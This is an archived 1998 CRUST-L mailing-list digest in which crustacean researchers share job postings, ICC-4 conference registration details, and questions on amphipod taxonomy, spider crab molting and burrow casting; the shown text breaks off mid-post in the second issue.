<199807100531.BAA13483@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #152 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 26 crust-l-digest Friday, 10 July 1998 Volume 01 : Number 152 CRUST-L: Position available (fwd) CRUST-L: Priority: urgent CRUST-L: housing ICC-4 CRUST-L: ICC-4 registration CRUST-L: Interesting... CRUST-L: Edinburgh CRUST-L: e-mail for Andrew Steele (New Zealand) CRUST-L: hormone question CRUST-L: Giant Japanese Spider Crabs CRUST-L: assimilation? [none] CRUST-L: Stress indicators in crustaceans CRUST-L: Casting crustacean burrows CRUST-L: More Giant Spider Crab Info Re: CRUST-L: Casting crustacean burrows CRUST-L: Pontogeneiidae or Eusiridae? ---------------------------------------------------------------------- From: Jeffrey Shields Date: Thu, 2 Jul 1998 13:04:42 -0400 (EDT) Subject: CRUST-L: Position available (fwd) Please respond to Bruce Coull, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 2 Jul 1998 13:05:03 -0500 To: crust-l@VIMS.EDU From: rwetzer@sc.edu (Regina Wetzer) Subject: Position Available Belle W. Baruch Institute for Marine Biology and Coastal Research University of South Carolina Research Assistant Professor (postdoctoral position) coupling marine benthic ecology and molecular biology to work in the meiofauna laboratory of Bruce C. Coull. Non tenure-track position available on or before January 1, 1999. Successful candidate will supervise ongoing funded projects dealing with the use molecular genetics techniques on copepods and other meiofauna as indicators of environmental damage, be responsible for day-to day management of the research laboratory, and be expected to develop a research program complimentary to ongoing projects. Individual should be able to work without daily supervision and be self-motivated. Experience with small invertebrates, PCR, cloning, sequencing and DNA data analysis is expected. Position to be offered for 2 years, with possibility of continuation. Salary $27,500. By October 1, 1998 send vitae, statement of interest and names/addresses of three references to Bruce C. Coull, Dean, School of the Environment, University of South Carolina, Columbia, SC 29208. Phone: 803.777.9153; Fax 803.777.5715; email bccoull@sc.edu; http://inlet.geol.sc.edu/~nick/coull.html Regina Wetzer Department of Biological Sciences University of South Carolina Columbia, SC 29208 U.S.A. Tel. 803 777-3942 Marine Science phone: 803 777-2692; FAX 803 777-3935 email: rwetzer@sc.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Murat Ozbek"" Date: Mon, 6 Jul 1998 12:10:00 +2 TUR Subject: CRUST-L: Priority: urgent Dear Crust-lers; I am interested in the Systematics of Freshwater Amphipods of Turkey. I have some Amphipod samples from different parts of Turkey(Especially from west and south parts). But I haven't got latest identification key(s) about them. For example, there is a Stygobromus sample, but I can't determine it. Could anybody help me to solve this problem out there? Greetings from TURKEY :-) Murat OZBEK Research Assistant Ege University Fishery Faculty Hydrobiology Section 35100- Bornova/IZMIR/TURKEY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ronald Vonk Date: Mon, 6 Jul 1998 13:53:13 +0200 Subject: CRUST-L: housing ICC-4 Dear ICC-4 participants, For those who are faced with full hotels by this time: Appartment for rent with 1 double bed and 2 single beds ( 1 large long room + kitchen, shower, toilet) at a genuine `grachtenpand' on one of the three nicest canals of inner Amsterdam, some 20 minutes walking distance from the conference venue. Full occupation NLG 60 per person per day, children NLG 20. Single occupation NLG 100. contact: Ronald Vonk Instituut voor Systematiek en Populatiebiologie (ISP) Universiteit van Amsterdam PB 94766 1090 GT Amsterdam The Netherlands tel: 00-31-20-525 6284/6435 fax: 00-31-20-525 5402 e-mail: vonk@bio.uva.nl http://www.bio.uva.nl/onderzoek/cepa http://www.uva.nl/uva/aktueel/congres/crustacean.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: schram@BIO.UVA.NL (Frederick Schram) Date: Mon, 6 Jul 1998 15:55:16 +0100 Subject: CRUST-L: ICC-4 registration Where do we register?!!? A good question, and one that is answered in an information packet the university congress bureau is supposed to be sending out to all participants as their registration forms are processed. These seem to be going astray. Registration will begin on Sunday afternoon, 19 July, in the main university auditorium. This is in the ""Oude Lutherskerk"" -- the Old Lutheran Church. This is located on a tree lined plein, or square, called ""Spui"" in the heart of the old city about 1/2 kilometer south of the Royal Palace, on the Dam. The church lies on Spui, faces the large canal called ""Singel,"" and is situated right next to the central library of the university. Registration will be between 4 and 6 on Sunday afternoon, and from 6 to 8 there will be a welcome reception for all congress particpants in the registration area. Registration will continue Monday morning from 8 to 9 at the same place, the Old Lutheran Church, wherein the first plenary session of the congress will begin at 9:00. If you are taking trams 4, 9, 16, 24, or 25 you get off at the stop called ""Spui"" right next to the statue of Queen Wilhemina and walk two blocks west. If you take trams 1, 2, or 5 you get off at another stop also called ""Spui,"" and you are right in the middle of the actual plein. Hopefully all will be less confusing once you arrive if you remember to look at any city map (they are all over the city) and go to the corner of Spui and Singel. The church is within easy walking distance of probably most, if not all, hotels that are being used by the Carlson WagonLit people for congress participants. ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland or (street address) Mauritskade 57 NL-1092 AD Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl =>___________________________________________ =>http://www.bio.uva.nl/onderzoek/cepa =>http://www.uva.nl/uva/aktueel/congres/crustacean.html =>___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 7 Jul 1998 09:46:20 -0400 (EDT) Subject: CRUST-L: Edinburgh Please respond to Wulf Kobusch and not to me. THanks, Jeff - ---------- Forwarded message ---------- From: ""Wulf Kobusch"" To: CRUST-L@vims.edu Hello CRUST-Lers, while everybody is talking of Amsterdam, I just want to know if there is a fellow scientist working in Edinburgh willing to help me with a problem concerning the city/ University of Edinburgh? Thanks in advance for any reply. Greetings to all Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: apdl@OZEMAIL.COM.AU (Andrew Lord) Date: Wed, 8 Jul 1998 00:38:35 +1000 (EST) Subject: CRUST-L: e-mail for Andrew Steele (New Zealand) Dear Crusty Folk, I am looking to get in touch with Andrew Steele in New Zealand. Unfortunately, the only clues I can provide as to WHICH Andrew Steele are: - he is interested in Decapod Culture - he studied Aquaculture at The University of Tasmania in 1996. I would very much appreciate hearing from anyone who knows Andrew's e-mail, or even a telephone number I could call him on. Thanks in anticipation, Andrew Lord ___________________________________________________________ Andrew P.D. Lord, PhD Ausaqua Pty Ltd 1 Michelle St, Wallaroo, SA, 5556 AUSTRALIA e-mail: apdl@ozemail.com.au Telephone +61 8 8823 3467 ___________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""James D Salierno"" Date: Tue, 7 Jul 1998 13:42:35 EST Subject: CRUST-L: hormone question Dear crusters, Quick question, does anyone know if crustaceans in general have a hormonal control system for egg laying? I am curious to know if hormones are involved, and if they are,is it similar to the hormonal control of ecdysis? Any assistance on this would be greatly appreciated, thanks, Jim James Salierno Department of Natural Sciences University of Maryland Eastern Shore Princess Anne, MD 21853 JSALIERN@UMES-bird.umd.edu 410-651-6046 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Jason Goldstein"" Date: Tue, 07 Jul 1998 17:27:39 -0500 Subject: CRUST-L: Giant Japanese Spider Crabs We have a large tank with about 7 giant japanese spider crabs and one of them, a female, is in the process of molting. Does anyone know generally how long it takes to complete the actual shedding? How about aggressive behavior by other adults in the tank? mating? hardening of the new shell? If anyone has any experience or observational information I'd love some feedback. Thanks! jason Jason S. Goldstein, Research Aquaculturist & Project Coordinator Lobster Rearing and Research Facility New England Aquarium Edgerton Research Laboratory Central Wharf Boston, MA 02110 USA - ----------------------------- phone: 617.973.5275 fax: 617.723.6207 email: jsgold@neaq.org webpage: http://www.neaq.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Volker Koch"" Date: 9 Jul 1998 11:23:56 +0200 Subject: CRUST-L: assimilation? Nachricht von assimilation? Dear Crustlers! Does anybody know something about assimilation effieciencies of fiddler crabs??? I calculated the annual food requirements of them (which are very, very high). That means I know something about how much is going through their guts. What I do not know is the concentration of organic material in the material they actually ingest. I'm looking for information on the concentration factor (organic concentration in the ingested material divided by the concentration in the sediment) or something like that. In the end I want to calculate the consumption in terms of energy (Calories) therefore I need an estimate of the organic material ingested... Does anybody has an idea???? Regards Volker ____________________________________________________ M.Sc. Volker Koch Center for Tropical Marine Ecology Fahrenheitstr.1 28359 Bremen Germany Fax: 0049 421 2208 330 email: vkoch@zmt.uni-bremen.de ____________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Cynthia Murray Date: Thu, 09 Jul 1998 09:12:44 -0400 Subject: [none] Hello, We would like to introduce you to the National Sea Grant Depository (NSGD), which serves as the archive and lending library for the National Sea Grant College Program. Our web site http://nsgd.gso.uri.edu will further introduce you to our services. The collection is comprised of approximately 30,000 books, journal reprints, conference proceedings, advisory and technical reports, handbooks, maps and many other types of information not readily available from other sources. Publications cover a wide variety of marine subjects, including oceanography, marine education, aquaculture, fisheries, coastal zone management, marine recreation and law. You can access this wealth of information through the publications database, which is searchable online from our site, as well as through the quarterly ""Sea Grant Abstracts"" which announces the availability of new Sea Grant documents. From the NSGD web site you may also link to any of the 29 Sea Grant programs across the country to see what exciting things are happening in your geographic location. Once you've located the information you'd like to use, we can assist by sending loan copies of publications or referring you to the appropriate source. There is also a project underway to provide many of the documents in the collection as full-text pdf files over the internet. Thank you. If you'd like additional information please contact us at: National Sea Grant Depository Pell Library Building University of Rhode Island Narragansett Bay Campus Narragansett, RI 02882-1197 USA (401) 874-6114 (401) 874-6160 (fax) nsgd@gsosun1.gso.uri.edu http://nsgd.gso.uri.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ernesto_J_QUINTERO@UMAIL.UMD.EDU (eq1) Date: Thu, 09 Jul 98 16:56 EDT Subject: CRUST-L: Stress indicators in crustaceans Dear Crust-lers: Could anybody tell me if there is a reliable and measurable indicator of stress in crustaceans (shrimp in particular)? A widely accepted measure of stress in fish is cortisol. Generally plasma cortisol levels in captive fish range from 5 - 100 ng/ml, the level of non-stressed fish being below 10 ng/ml. Is there a similar indicator in crustacean hemolymph? I have run a couple of preliminary literature searches without much success, and given that I am overseas right now (Panama), I have not been able to search the major databases. Thanks in advance for any information you could provide to me on this matter. Best regards, Ernesto J. Quintero =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Roy Caldwell <4roy@socrates.berkeley.edu> Date: Thu, 9 Jul 1998 16:03:40 -0700 Subject: CRUST-L: Casting crustacean burrows I would like some advice on casting small burrows. I need to document the burrows of small lysiosquilloid stomatopods. Most of the burrows will be u-shaped in sand and will range from very small (2 mm in diameter and 15 cm deep to larger burrows 1 cm in diameter, 50 cm deep with the two entrances about 30 cm apart. The burrows are typically lined with a mucus/sand mixture that is fairly tough. Most of the work will have to be done underwater, although at extreme low tides the top few centimeters of the burrows will be above the waterline. Ambient temperature will be around 23 C. If you could provide me with specific resins (brand names) that you have used and any tricks that can force the resin throughout the burrow system, I would very much appreciate it. Thanks. Roy Caldwell ***************************************** Roy L. Caldwell Department of Integrative Biology University of California at Berkeley ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Jason Goldstein"" Date: Wed, 08 Jul 1998 15:48:04 -0500 Subject: CRUST-L: More Giant Spider Crab Info I have some additional information concerning a female japanese spider crab which molted in an 11 hour period in a large exhibit tank: Water temp- 9 C Species name- Macrocheira kaempferi This crab is by herself currently. Does anyone know about optimal shell hardening conditions with regards to water quality? How about how long until she hardens up enough. Any information would be really appreciated. Thanks, jason Jason S. Goldstein, Research Aquaculturist & Project Coordinator Lobster Rearing and Research Facility New England Aquarium Edgerton Research Laboratory Central Wharf Boston, MA 02110 USA - ----------------------------- phone: 617.973.5275 fax: 617.723.6207 email: jsgold@neaq.org webpage: http://www.neaq.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@terracom.net (Philip Oshel) Date: Thu, 9 Jul 1998 22:05:53 -0500 Subject: Re: CRUST-L: Casting crustacean burrows Roy, You mention resins-do you need plastic in particular? If so, stop by the EM facility, and see what they're using for corrosion-casting. Probably Mercox, or a similar methylmethacrylate. This can be expensive, but the methacrylates are water-compatible (glycolmethacrylate is the other popular one). Mercox is more expensive than just buying methymethacrylate from Sigma or Fisher, etc. Methylmethacrylate has a viscosity near that of water, and so is excellent for getting into fine tubes, crevices, etc., and will preserve the fine features of the burrow wall (and maybe critters) that you didn't know you wanted. 8-) I've used silicon bathtub chalk to fill the lateral lines of fish, and see no reason why that won't work for burrows. The chalk can do a good job of retaining fine features-it showed the lateral line end-organs very nicely. This comes as white or black (maybe, I've only used white). Latex used for filling blood vessels would also work. Latex and chalk obviously won't set up hard like the methacrylates do, so they'll be flexible. This may or may not be important. They will be prone to tearing. The acrylates and latex can be colored. Mercox comes as a kit for corrosion casting with a pigment and catalyst. Any acrylate will usually need a catalyst-they'll polymerize without it, but will set much quicker with the catalyst (often this is benzoyl peroxide, so your burrows will have nice complexions). If you get generic methacrylate, and the supply house doesn't have a pigment available, try mixing in any stain as powder into a small batch of uncatalyzed resin. Mix this into the resin for casting. I suspect food-coloring might even work. Methacrylates can be bought from EM supply houses and other chemical suppliers. The latex? Um...Ward's maybe or Carolina Biological? Maybe Fisher or Sigma, I don't know. You could also buy low-viscosity 2-component epoxies at a hardware store, but these likely won't be cheaper, and are entertaining to mix in the field. Whatever you use, try making a nozzle with a large-bore hypodermic syringe needle ground flat or otherwise blunted. Put on a 60mL disposable syringe (directly or using a short length of tubing). Fill the syringe, insert the plunger and have fun scaring the beegeezus out of hapless stomatopods. Phil >I would like some advice on casting small burrows. I need to document the >burrows of small lysiosquilloid stomatopods. Most of the burrows will be >u-shaped in sand and will range from very small (2 mm in diameter and 15 cm >deep to larger burrows 1 cm in diameter, 50 cm deep with the two entrances >about 30 cm apart. The burrows are typically lined with a mucus/sand >mixture that is fairly tough. Most of the work will have to be done >underwater, although at extreme low tides the top few centimeters of the >burrows will be above the waterline. Ambient temperature will be around >23 C. If you could provide me with specific resins (brand names) that you >have used and any tricks that can force the resin throughout the burrow >system, I would very much appreciate it. Thanks. > >Roy Caldwell > >***************************************** > Roy L. Caldwell > Department of Integrative Biology > University of California at Berkeley >***************************************** > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 620068 Middleton, WI 53562 (608) 833-2885 oshel@terracom.net or poshel@hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Edwin Cruz-Rivera Date: Fri, 10 Jul 1998 01:27:40 -0400 (EDT) Subject: CRUST-L: Pontogeneiidae or Eusiridae? Hello all, This one is for the amphipod taxonomists or those who have experience with some of their troublesome families. Bousfield (1973) recognizes the Pontogeneidae as a separate family from the Eusiridae. In a more recent revision, Bousfield and Hendrycks (1995) revise the eusiridae in the north Pacific. Although I have only read the abstract, they seem to maintain the Eusiridae (e.g., Eusirus, Rhachotropis, Eusirella, Cleonardo) as a different family from the Pontogeneidae. In contrast, Bousfield and Karaman (1991) include not only the Pontogeneiidae (e.g., Pontogeneia, Tethygeneia), but also the Calliopiidae (e.g., Calliopius, Apherusa) as genera within the Eusiridae. I would like to know whether any concensus has been reached. I was surprised to see that, in spite of all the problems Barnard and Karaman discuss, there was not even an attempt to erect subfamilies. From my understanding of their ecology, I would not be surprised if these are actually different amphipod families. However, ecological remarks can be deceitful when it comes to taxonomic relations. Can I get a vote on this one? Afectuosamente, Edwin Cruz-Rivera Ph (919) 726-6841 Institute of Marine Sciences Fax (919) 726-2426 University of North Carolina, Chapel Hill email: ecruzriv@email.unc.edu 3431 Arendell Street Morehead City, NC 28557 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #152 ***************************** >From owner-crust-l Thu Jul 23 10:00:03 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id JAA09948 for crust-l-digest-outgoing; Thu, 23 Jul 1998 09:59:18 -0400 Date: Thu, 23 Jul 1998 09:59:18 -0400 Message-Id: <199807231359.JAA09948@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #153 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 27 crust-l-digest Thursday, 23 July 1998 Volume 01 : Number 153 CRUST-L: Pasiphaea hoplocerca Re: CRUST-L: Casting crustacean burrows CRUST-L: postdoc position Re: CRUST-L: Casting crustacean burrows CRUST-L: Thanks for Spider Crab InFo!! CRUST-L: where can we study Aratus pisoni ? CRUST-L: Berreur-Bonnenfant papers (fwd) CRUST-L: marine biodiversity listserver CRUST-L: REQ: E-mail of J.E. Cartes CRUST-L: Tmetonyx spp. CRUST-L: Estimation of molt stage duration CRUST-L: Effects of low salinity on Crayfish/lobsters CRUST-L: Callianassa subterrania and C. tyrrhena CRUST-L: Non-member submission from [Richard Musgrove ] (fwd) CRUST-L: Tmetonyx (fwd) CRUST-L: Tmetonyx again (fwd) CRUST-L: Admin info ---------------------------------------------------------------------- From: Antonina dos Santos Date: Fri, 10 Jul 1998 10:05:26 +0100 Subject: CRUST-L: Pasiphaea hoplocerca This is a multi-part message in MIME format. - --------------032728B9DC2D9A42B5C0F742 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Dear crusters, I have a specimen that I think is Pasiphaea hoplocerca, and I would like to compare with the description of that species made by F. A. Chace in 1940. For that I greatly appreciate if someone can find me a copy of: Chace, F. A. 1940. The Bathypelagic Caribean Crustacea. Plankton of the Bermuda oceanographic Expeditions. IX. Zoologica, New York, 25, 117-209. Thank you in advance. Yours, Antonina dos Santos _._._._._._._._._._._._ Antonina dos Santos Inst. Inv. das Pescas e do Mar (IPIMAR) Av. de Bras=EDlia 1400 Lisboa Portugal _._._._._._._._._._:_._._._._._._ E-mail: antonina@ipimar.pt Tel. +351 1 3027194 Fax +351 1 3015948 _._._._._._._._._._._. - --------------032728B9DC2D9A42B5C0F742 Content-Type: text/x-vcard; charset=us-ascii; name=""vcard.vcf"" Content-Description: Card for Antonina dos Santos Content-Disposition: attachment; filename=""vcard.vcf"" Content-Transfer-Encoding: quoted-printable begin: vcard fn: Antonina dos Santos n: ;Antonina dos Santos org: Instituto de Investiga=E7=E3o das Pescas e do Mar (IPIMAR= ) adr: Av. de Bras=EDlia;;;1400 Lisboa;;;Portugal email;internet: antonina@ipimar.pt tel;work: + 351 1 3027194 tel;fax: + 351 1 3015948 x-mozilla-cpt: ;0 x-mozilla-html: FALSE version: 2.1 end: vcard - --------------032728B9DC2D9A42B5C0F742-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Marco Vannini Date: Fri, 10 Jul 1998 11:29:02 +0200 Subject: Re: CRUST-L: Casting crustacean burrows Dear Roy, I do not have the answer to your question but I would also be VERY interested in the solution ! Best things, Marco Vannini ******************************************* Prof. Marco Vannini Director of the Zoological Museum of the University of Florence, ""La Specola"" via Romana 17, 50125 Firenze Italy tel +39-55-2288259 fax +39-55-225325 e-mail: vannini_m@dbag.unifi.it ******************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: diesel@ss20.mpi-seewiesen.mpg.de Date: Fri, 10 Jul 1998 13:53:22 +0000 Subject: CRUST-L: postdoc position Dear Crusters, there is a postdoc position available at the MPIV from September 1998 for a period of 15 months. I am looking for someone who has experience in working with molecular markers (microsatellites) and a good background in behavioural ecology. The candidate will be involved in research on the mating system and social structure of the Jamaican bromeliad crab. For further information, please contact me. Regards, Rudi NEW! http://www.mpi-seewiesen.mpg.de/~knauer/diesel.html Rudolf Diesel Max-Planck-Institut fur Verhaltensphysiologie D-82319 Seewiesen, Germany Tel: +49 (0)8157 932 271 Fax: +49 